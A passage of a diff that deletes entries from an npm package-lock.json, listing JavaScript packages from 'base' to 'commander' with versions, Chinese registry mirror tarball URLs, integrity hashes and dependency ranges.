-      "integrity": "sha1-6D46fj8wCzTLnYf2FfoMvzV2kO4="
-    },
-    "base": {
-      "version": "0.11.2",
-      "resolved": "https://registry.nlark.com/base/download/base-0.11.2.tgz",
-      "integrity": "sha1-e95c7RRbbVUakNuH+DxVi060io8=",
-      "requires": {
-        "cache-base": "^1.0.1",
-        "class-utils": "^0.3.5",
-        "component-emitter": "^1.2.1",
-        "define-property": "^1.0.0",
-        "isobject": "^3.0.1",
-        "mixin-deep": "^1.2.0",
-        "pascalcase": "^0.1.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-accessor-descriptor/download/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha1-FpwvbT3x+ZJhgHI2XJsOofaHhlY=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-data-descriptor/download/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha1-2Eh2Mh0Oet0DmQQGq7u9NrqSaMc=",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npm.taobao.org/is-descriptor/download/is-descriptor-1.0.2.tgz",
-          "integrity": "sha1-OxWXRqZmBLBPjIFSS6NlxfFNhuw=",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        }
-      }
-    },
-    "base64-js": {
-      "version": "1.5.1",
-      "resolved": "https://registry.nlark.com/base64-js/download/base64-js-1.5.1.tgz",
-      "integrity": "sha1-GxtEAWClv3rUC2UPCVljSBkDkwo="
-    },
-    "batch": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npm.taobao.org/batch/download/batch-0.6.1.tgz",
-      "integrity": "sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY="
-    },
-    "bfj": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npm.taobao.org/bfj/download/bfj-7.0.2.tgz",
-      "integrity": "sha1-GYjOdvOt2awpE/2LpHqtnmUb+7I=",
-      "requires": {
-        "bluebird": "^3.5.5",
-        "check-types": "^11.1.1",
-        "hoopy": "^0.1.4",
-        "tryer": "^1.0.1"
-      }
-    },
-    "big.js": {
-      "version": "5.2.2",
-      "resolved": "https://registry.nlark.com/big.js/download/big.js-5.2.2.tgz",
-      "integrity": "sha1-ZfCvOC9Xi83HQr2cKB6cstd2gyg="
-    },
-    "binary-extensions": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-2.2.0.tgz",
-      "integrity": "sha1-dfUC7q+f/eQvyYgpZFvk6na9ni0=",
-      "optional": true
-    },
-    "bindings": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npm.taobao.org/bindings/download/bindings-1.5.0.tgz",
-      "integrity": "sha1-EDU8npRTNLwFEabZCzj7x8nFBN8=",
-      "optional": true,
-      "requires": {
-        "file-uri-to-path": "1.0.0"
-      }
-    },
-    "bluebird": {
-      "version": "3.7.2",
-      "resolved": "https://registry.npm.taobao.org/bluebird/download/bluebird-3.7.2.tgz?cache=0&sync_timestamp=1602657218976&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbluebird%2Fdownload%2Fbluebird-3.7.2.tgz",
-      "integrity": "sha1-nyKcFb4nJFT/qXOs4NvueaGww28="
-    },
-    "bn.js": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npm.taobao.org/bn.js/download/bn.js-5.2.0.tgz",
-      "integrity": "sha1-NYhgZ0OWxpl3canQUfzBtX1K4AI="
-    },
-    "body-parser": {
-      "version": "1.19.0",
-      "resolved": "https://registry.npm.taobao.org/body-parser/download/body-parser-1.19.0.tgz",
-      "integrity": "sha1-lrJwnlfJxOCab9Zqj9l5hE9p8Io=",
-      "requires": {
-        "bytes": "3.1.0",
-        "content-type": "~1.0.4",
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "http-errors": "1.7.2",
-        "iconv-lite": "0.4.24",
-        "on-finished": "~2.3.0",
-        "qs": "6.7.0",
-        "raw-body": "2.4.0",
-        "type-is": "~1.6.17"
-      },
-      "dependencies": {
-        "bytes": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/bytes/download/bytes-3.1.0.tgz",
-          "integrity": "sha1-9s95M6Ng4FiPqf3oVlHNx/gF0fY="
-        },
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "bonjour": {
-      "version": "3.5.0",
-      "resolved": "https://registry.npm.taobao.org/bonjour/download/bonjour-3.5.0.tgz",
-      "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=",
-      "requires": {
-        "array-flatten": "^2.1.0",
-        "deep-equal": "^1.0.1",
-        "dns-equal": "^1.0.0",
-        "dns-txt": "^2.0.2",
-        "multicast-dns": "^6.0.1",
-        "multicast-dns-service-types": "^1.1.0"
-      }
-    },
-    "boolbase": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/boolbase/download/boolbase-1.0.0.tgz",
-      "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24="
-    },
-    "bootstrap": {
-      "version": "5.0.1",
-      "resolved": "https://registry.nlark.com/bootstrap/download/bootstrap-5.0.1.tgz?cache=0&sync_timestamp=1620923367085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbootstrap%2Fdownload%2Fbootstrap-5.0.1.tgz",
-      "integrity": "sha1-55OdWZEZ3IGKkEeKKimb2v8Dfgk="
-    },
-    "brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npm.taobao.org/brace-expansion/download/brace-expansion-1.1.11.tgz?cache=0&sync_timestamp=1614010709807&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbrace-expansion%2Fdownload%2Fbrace-expansion-1.1.11.tgz",
-      "integrity": "sha1-PH/L9SnYcibz0vUrlm/1Jx60Qd0=",
-      "requires": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
-    "braces": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npm.taobao.org/braces/download/braces-3.0.2.tgz",
-      "integrity": "sha1-NFThpGLujVmeI23zNs2epPiv4Qc=",
-      "requires": {
-        "fill-range": "^7.0.1"
-      }
-    },
-    "brorand": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/brorand/download/brorand-1.1.0.tgz",
-      "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8="
-    },
-    "browser-process-hrtime": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/browser-process-hrtime/download/browser-process-hrtime-1.0.0.tgz",
-      "integrity": "sha1-PJtLfXgsgSHlbxAQbYTA0P/JRiY="
-    },
-    "browserify-aes": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/browserify-aes/download/browserify-aes-1.2.0.tgz",
-      "integrity": "sha1-Mmc0ZC9APavDADIJhTu3CtQo70g=",
-      "requires": {
-        "buffer-xor": "^1.0.3",
-        "cipher-base": "^1.0.0",
-        "create-hash": "^1.1.0",
-        "evp_bytestokey": "^1.0.3",
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "browserify-cipher": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/browserify-cipher/download/browserify-cipher-1.0.1.tgz",
-      "integrity": "sha1-jWR0wbhwv9q807z8wZNKEOlPFfA=",
-      "requires": {
-        "browserify-aes": "^1.0.4",
-        "browserify-des": "^1.0.0",
-        "evp_bytestokey": "^1.0.0"
-      }
-    },
-    "browserify-des": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/browserify-des/download/browserify-des-1.0.2.tgz",
-      "integrity": "sha1-OvTx9Zg5QDVy8cZiBDdfen9wPpw=",
-      "requires": {
-        "cipher-base": "^1.0.1",
-        "des.js": "^1.0.0",
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.1.2"
-      }
-    },
-    "browserify-rsa": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npm.taobao.org/browserify-rsa/download/browserify-rsa-4.1.0.tgz",
-      "integrity": "sha1-sv0Gtbda4pf3zi3GUfkY9b4VjI0=",
-      "requires": {
-        "bn.js": "^5.0.0",
-        "randombytes": "^2.0.1"
-      }
-    },
-    "browserify-sign": {
-      "version": "4.2.1",
-      "resolved": "https://registry.npm.taobao.org/browserify-sign/download/browserify-sign-4.2.1.tgz",
-      "integrity": "sha1-6vSt1G3VS+O7OzbAzxWrvrp5VsM=",
-      "requires": {
-        "bn.js": "^5.1.1",
-        "browserify-rsa": "^4.0.1",
-        "create-hash": "^1.2.0",
-        "create-hmac": "^1.1.7",
-        "elliptic": "^6.5.3",
-        "inherits": "^2.0.4",
-        "parse-asn1": "^5.1.5",
-        "readable-stream": "^3.6.0",
-        "safe-buffer": "^5.2.0"
-      },
-      "dependencies": {
-        "safe-buffer": {
-          "version": "5.2.1",
-          "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.2.1.tgz",
-          "integrity": "sha1-Hq+fqb2x/dTsdfWPnNtOa3gn7sY="
-        }
-      }
-    },
-    "browserify-zlib": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npm.taobao.org/browserify-zlib/download/browserify-zlib-0.2.0.tgz",
-      "integrity": "sha1-KGlFnZqjviRf6P4sofRuLn9U1z8=",
-      "requires": {
-        "pako": "~1.0.5"
-      }
-    },
-    "browserslist": {
-      "version": "4.16.6",
-      "resolved": "https://registry.nlark.com/browserslist/download/browserslist-4.16.6.tgz?cache=0&sync_timestamp=1619789155823&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fbrowserslist%2Fdownload%2Fbrowserslist-4.16.6.tgz",
-      "integrity": "sha1-15ASd6WojlVO0wWxg+ybDAj2b6I=",
-      "requires": {
-        "caniuse-lite": "^1.0.30001219",
-        "colorette": "^1.2.2",
-        "electron-to-chromium": "^1.3.723",
-        "escalade": "^3.1.1",
-        "node-releases": "^1.1.71"
-      }
-    },
-    "bser": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npm.taobao.org/bser/download/bser-2.1.1.tgz",
-      "integrity": "sha1-5nh9og7OnQeZhTPP2d5vXDj0vAU=",
-      "requires": {
-        "node-int64": "^0.4.0"
-      }
-    },
-    "buffer": {
-      "version": "4.9.2",
-      "resolved": "https://registry.npm.taobao.org/buffer/download/buffer-4.9.2.tgz?cache=0&sync_timestamp=1606098175437&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fbuffer%2Fdownload%2Fbuffer-4.9.2.tgz",
-      "integrity": "sha1-Iw6tNEACmIZEhBqwJEr4xEu+Pvg=",
-      "requires": {
-        "base64-js": "^1.0.2",
-        "ieee754": "^1.1.4",
-        "isarray": "^1.0.0"
-      }
-    },
-    "buffer-from": {
-      "version": "1.1.1",
-      "resolved": "https://registry.nlark.com/buffer-from/download/buffer-from-1.1.1.tgz",
-      "integrity": "sha1-MnE7wCj3XAL9txDXx7zsHyxgcO8="
-    },
-    "buffer-indexof": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/buffer-indexof/download/buffer-indexof-1.1.1.tgz",
-      "integrity": "sha1-Uvq8xqYG0aADAoAmSO9o9jnaJow="
-    },
-    "buffer-xor": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/buffer-xor/download/buffer-xor-1.0.3.tgz",
-      "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk="
-    },
-    "builtin-modules": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npm.taobao.org/builtin-modules/download/builtin-modules-3.2.0.tgz",
-      "integrity": "sha1-RdXbmefuXmvE82LgCL+RerUEmIc="
-    },
-    "builtin-status-codes": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/builtin-status-codes/download/builtin-status-codes-3.0.0.tgz",
-      "integrity": "sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug="
-    },
-    "bytes": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/bytes/download/bytes-3.0.0.tgz",
-      "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg="
-    },
-    "cacache": {
-      "version": "15.2.0",
-      "resolved": "https://registry.nlark.com/cacache/download/cacache-15.2.0.tgz?cache=0&sync_timestamp=1621949655085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcacache%2Fdownload%2Fcacache-15.2.0.tgz",
-      "integrity": "sha1-c69193xY5y2MYwp6KFjLGO9SM4k=",
-      "requires": {
-        "@npmcli/move-file": "^1.0.1",
-        "chownr": "^2.0.0",
-        "fs-minipass": "^2.0.0",
-        "glob": "^7.1.4",
-        "infer-owner": "^1.0.4",
-        "lru-cache": "^6.0.0",
-        "minipass": "^3.1.1",
-        "minipass-collect": "^1.0.2",
-        "minipass-flush": "^1.0.5",
-        "minipass-pipeline": "^1.2.2",
-        "mkdirp": "^1.0.3",
-        "p-map": "^4.0.0",
-        "promise-inflight": "^1.0.1",
-        "rimraf": "^3.0.2",
-        "ssri": "^8.0.1",
-        "tar": "^6.0.2",
-        "unique-filename": "^1.1.1"
-      },
-      "dependencies": {
-        "mkdirp": {
-          "version": "1.0.4",
-          "resolved": "https://registry.npm.taobao.org/mkdirp/download/mkdirp-1.0.4.tgz",
-          "integrity": "sha1-PrXtYmInVteaXw4qIh3+utdcL34="
-        }
-      }
-    },
-    "cache-base": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/cache-base/download/cache-base-1.0.1.tgz",
-      "integrity": "sha1-Cn9GQWgxyLZi7jb+TnxZ129marI=",
-      "requires": {
-        "collection-visit": "^1.0.0",
-        "component-emitter": "^1.2.1",
-        "get-value": "^2.0.6",
-        "has-value": "^1.0.0",
-        "isobject": "^3.0.1",
-        "set-value": "^2.0.0",
-        "to-object-path": "^0.3.0",
-        "union-value": "^1.0.0",
-        "unset-value": "^1.0.0"
-      }
-    },
-    "call-bind": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/call-bind/download/call-bind-1.0.2.tgz?cache=0&sync_timestamp=1610402896029&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcall-bind%2Fdownload%2Fcall-bind-1.0.2.tgz",
-      "integrity": "sha1-sdTonmiBGcPJqQOtMKuy9qkZvjw=",
-      "requires": {
-        "function-bind": "^1.1.1",
-        "get-intrinsic": "^1.0.2"
-      }
-    },
-    "caller-callsite": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/caller-callsite/download/caller-callsite-2.0.0.tgz",
-      "integrity": "sha1-hH4PzgoiN1CpoCfFSzNzGtMVQTQ=",
-      "requires": {
-        "callsites": "^2.0.0"
-      },
-      "dependencies": {
-        "callsites": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/callsites/download/callsites-2.0.0.tgz",
-          "integrity": "sha1-BuuE8A7qQT2oav/vrL/7Ngk7PFA="
-        }
-      }
-    },
-    "caller-path": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/caller-path/download/caller-path-2.0.0.tgz?cache=0&sync_timestamp=1618738159926&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcaller-path%2Fdownload%2Fcaller-path-2.0.0.tgz",
-      "integrity": "sha1-Ro+DBE42mrIBD6xfBs7uFbsssfQ=",
-      "requires": {
-        "caller-callsite": "^2.0.0"
-      }
-    },
-    "callsites": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/callsites/download/callsites-3.1.0.tgz",
-      "integrity": "sha1-s2MKvYlDQy9Us/BRkjjjPNffL3M="
-    },
-    "camel-case": {
-      "version": "4.1.2",
-      "resolved": "https://registry.nlark.com/camel-case/download/camel-case-4.1.2.tgz",
-      "integrity": "sha1-lygHKpVPgFIoIlpt7qazhGHhvVo=",
-      "requires": {
-        "pascal-case": "^3.1.2",
-        "tslib": "^2.0.3"
-      },
-      "dependencies": {
-        "tslib": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npm.taobao.org/tslib/download/tslib-2.2.0.tgz?cache=0&sync_timestamp=1617647281845&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-2.2.0.tgz",
-          "integrity": "sha1-+yxHWXfjXiQTEe3iaTzuHsZpj1w="
-        }
-      }
-    },
-    "camelcase": {
-      "version": "6.2.0",
-      "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-6.2.0.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-6.2.0.tgz",
-      "integrity": "sha1-kkr4gcnVJaydh/QNlk5c6pgqGAk="
-    },
-    "caniuse-api": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npm.taobao.org/caniuse-api/download/caniuse-api-3.0.0.tgz",
-      "integrity": "sha1-Xk2Q4idJYdRikZl99Znj7QCO5MA=",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "caniuse-lite": "^1.0.0",
-        "lodash.memoize": "^4.1.2",
-        "lodash.uniq": "^4.5.0"
-      }
-    },
-    "caniuse-lite": {
-      "version": "1.0.30001235",
-      "resolved": "https://registry.nlark.com/caniuse-lite/download/caniuse-lite-1.0.30001235.tgz?cache=0&sync_timestamp=1622955183947&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcaniuse-lite%2Fdownload%2Fcaniuse-lite-1.0.30001235.tgz",
-      "integrity": "sha1-rVynW8Wh97Et95rYBtcVpDpaxO0="
-    },
-    "capture-exit": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/capture-exit/download/capture-exit-2.0.0.tgz",
-      "integrity": "sha1-+5U7+uvreB9iiYI52rtCbQilCaQ=",
-      "requires": {
-        "rsvp": "^4.8.4"
-      }
-    },
-    "case-sensitive-paths-webpack-plugin": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/case-sensitive-paths-webpack-plugin/download/case-sensitive-paths-webpack-plugin-2.3.0.tgz?cache=0&sync_timestamp=1614018570698&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcase-sensitive-paths-webpack-plugin%2Fdownload%2Fcase-sensitive-paths-webpack-plugin-2.3.0.tgz",
-      "integrity": "sha1-I6xhPMmoVuT4j/i7c7u16YmCXPc="
-    },
-    "chalk": {
-      "version": "4.1.1",
-      "resolved": "https://registry.nlark.com/chalk/download/chalk-4.1.1.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-4.1.1.tgz",
-      "integrity": "sha1-yAs/qyi/Y3HmhjMl7uZ+YYt35q0=",
-      "requires": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      }
-    },
-    "char-regex": {
-      "version": "1.0.2",
-      "resolved": "https://registry.nlark.com/char-regex/download/char-regex-1.0.2.tgz?cache=0&sync_timestamp=1622808992763&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchar-regex%2Fdownload%2Fchar-regex-1.0.2.tgz",
-      "integrity": "sha1-10Q1giYhf5ge1Y9Hmx1rzClUXc8="
-    },
-    "check-types": {
-      "version": "11.1.2",
-      "resolved": "https://registry.npm.taobao.org/check-types/download/check-types-11.1.2.tgz",
-      "integrity": "sha1-hqfBK/VTn2Mk6w5wyoiWwOOPPi8="
-    },
-    "chokidar": {
-      "version": "3.5.1",
-      "resolved": "https://registry.npm.taobao.org/chokidar/download/chokidar-3.5.1.tgz?cache=0&sync_timestamp=1610719375974&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-3.5.1.tgz",
-      "integrity": "sha1-7pznu+vSt59J8wR5nVRo4x4U5oo=",
-      "optional": true,
-      "requires": {
-        "anymatch": "~3.1.1",
-        "braces": "~3.0.2",
-        "fsevents": "~2.3.1",
-        "glob-parent": "~5.1.0",
-        "is-binary-path": "~2.1.0",
-        "is-glob": "~4.0.1",
-        "normalize-path": "~3.0.0",
-        "readdirp": "~3.5.0"
-      }
-    },
-    "chownr": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/chownr/download/chownr-2.0.0.tgz",
-      "integrity": "sha1-Fb++U9LqtM9w8YqM1o6+Wzyx3s4="
-    },
-    "chrome-trace-event": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/chrome-trace-event/download/chrome-trace-event-1.0.3.tgz?cache=0&sync_timestamp=1617906042705&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchrome-trace-event%2Fdownload%2Fchrome-trace-event-1.0.3.tgz",
-      "integrity": "sha1-EBXs7UdB4V0GZkqVfbv1DQQeJqw="
-    },
-    "ci-info": {
-      "version": "2.0.0",
-      "resolved": "https://registry.nlark.com/ci-info/download/ci-info-2.0.0.tgz?cache=0&sync_timestamp=1622039942508&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fci-info%2Fdownload%2Fci-info-2.0.0.tgz",
-      "integrity": "sha1-Z6npZL4xpR4V5QENWObxKDQAL0Y="
-    },
-    "cipher-base": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/cipher-base/download/cipher-base-1.0.4.tgz",
-      "integrity": "sha1-h2Dk7MJy9MNjUy+SbYdKriwTl94=",
-      "requires": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "cjs-module-lexer": {
-      "version": "0.6.0",
-      "resolved": "https://registry.nlark.com/cjs-module-lexer/download/cjs-module-lexer-0.6.0.tgz",
-      "integrity": "sha1-QYb8yg6uF1lwruhwuf4tbPjVZV8="
-    },
-    "class-utils": {
-      "version": "0.3.6",
-      "resolved": "https://registry.npm.taobao.org/class-utils/download/class-utils-0.3.6.tgz",
-      "integrity": "sha1-+TNprouafOAv1B+q0MqDAzGQxGM=",
-      "requires": {
-        "arr-union": "^3.1.0",
-        "define-property": "^0.2.5",
-        "isobject": "^3.0.0",
-        "static-extend": "^0.1.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        }
-      }
-    },
-    "classnames": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npm.taobao.org/classnames/download/classnames-2.3.1.tgz",
-      "integrity": "sha1-38+jiR4wbsHa0QXQ6I9EF7hTXo4="
-    },
-    "clean-css": {
-      "version": "4.2.3",
-      "resolved": "https://registry.npm.taobao.org/clean-css/download/clean-css-4.2.3.tgz",
-      "integrity": "sha1-UHtd59l7SO5T2ErbAWD/YhY4D3g=",
-      "requires": {
-        "source-map": "~0.6.0"
-      }
-    },
-    "clean-stack": {
-      "version": "2.2.0",
-      "resolved": "https://registry.nlark.com/clean-stack/download/clean-stack-2.2.0.tgz?cache=0&sync_timestamp=1621915066376&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fclean-stack%2Fdownload%2Fclean-stack-2.2.0.tgz",
-      "integrity": "sha1-7oRy27Ep5yezHooQpCfe6d/kAIs="
-    },
-    "cliui": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/cliui/download/cliui-6.0.0.tgz",
-      "integrity": "sha1-UR1wLAxOQcoVbX0OlgIfI+EyJbE=",
-      "requires": {
-        "string-width": "^4.2.0",
-        "strip-ansi": "^6.0.0",
-        "wrap-ansi": "^6.2.0"
-      }
-    },
-    "co": {
-      "version": "4.6.0",
-      "resolved": "https://registry.npm.taobao.org/co/download/co-4.6.0.tgz",
-      "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ="
-    },
-    "coa": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/coa/download/coa-2.0.2.tgz",
-      "integrity": "sha1-Q/bCEVG07yv1cYfbDXPeIp4+fsM=",
-      "requires": {
-        "@types/q": "^1.5.1",
-        "chalk": "^2.4.1",
-        "q": "^1.1.2"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
-          "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          }
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
-          "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "collect-v8-coverage": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/collect-v8-coverage/download/collect-v8-coverage-1.0.1.tgz",
-      "integrity": "sha1-zCyOlPwYu9/+ZNZTRXDIpnOyf1k="
-    },
-    "collection-visit": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/collection-visit/download/collection-visit-1.0.0.tgz",
-      "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=",
-      "requires": {
-        "map-visit": "^1.0.0",
-        "object-visit": "^1.0.0"
-      }
-    },
-    "color": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npm.taobao.org/color/download/color-3.1.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolor%2Fdownload%2Fcolor-3.1.3.tgz",
-      "integrity": "sha1-ymf7TnuX1hHc3jns7tQiBn2RWW4=",
-      "requires": {
-        "color-convert": "^1.9.1",
-        "color-string": "^1.5.4"
-      }
-    },
-    "color-convert": {
-      "version": "1.9.3",
-      "resolved": "https://registry.npm.taobao.org/color-convert/download/color-convert-1.9.3.tgz",
-      "integrity": "sha1-u3GFBpDh8TZWfeYp0tVHHe2kweg=",
-      "requires": {
-        "color-name": "1.1.3"
-      },
-      "dependencies": {
-        "color-name": {
-          "version": "1.1.3",
-          "resolved": "https://registry.npm.taobao.org/color-name/download/color-name-1.1.3.tgz",
-          "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU="
-        }
-      }
-    },
-    "color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npm.taobao.org/color-name/download/color-name-1.1.4.tgz",
-      "integrity": "sha1-wqCah6y95pVD3m9j+jmVyCbFNqI="
-    },
-    "color-string": {
-      "version": "1.5.5",
-      "resolved": "https://registry.npm.taobao.org/color-string/download/color-string-1.5.5.tgz?cache=0&sync_timestamp=1614967287897&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolor-string%2Fdownload%2Fcolor-string-1.5.5.tgz",
-      "integrity": "sha1-ZUdKjw50OWJfPSemoZ2J/EUiMBQ=",
-      "requires": {
-        "color-name": "^1.0.0",
-        "simple-swizzle": "^0.2.2"
-      }
-    },
-    "colorette": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npm.taobao.org/colorette/download/colorette-1.2.2.tgz?cache=0&sync_timestamp=1614259647923&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcolorette%2Fdownload%2Fcolorette-1.2.2.tgz",
-      "integrity": "sha1-y8x51emcrqLb8Q6zom/Ys+as+pQ="
-    },
-    "combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npm.taobao.org/combined-stream/download/combined-stream-1.0.8.tgz",
-      "integrity": "sha1-w9RaizT9cwYxoRCoolIGgrMdWn8=",
-      "requires": {
-        "delayed-stream": "~1.0.0"
-      }
-    },
-    "commander": {
-      "version": "4.1.1",
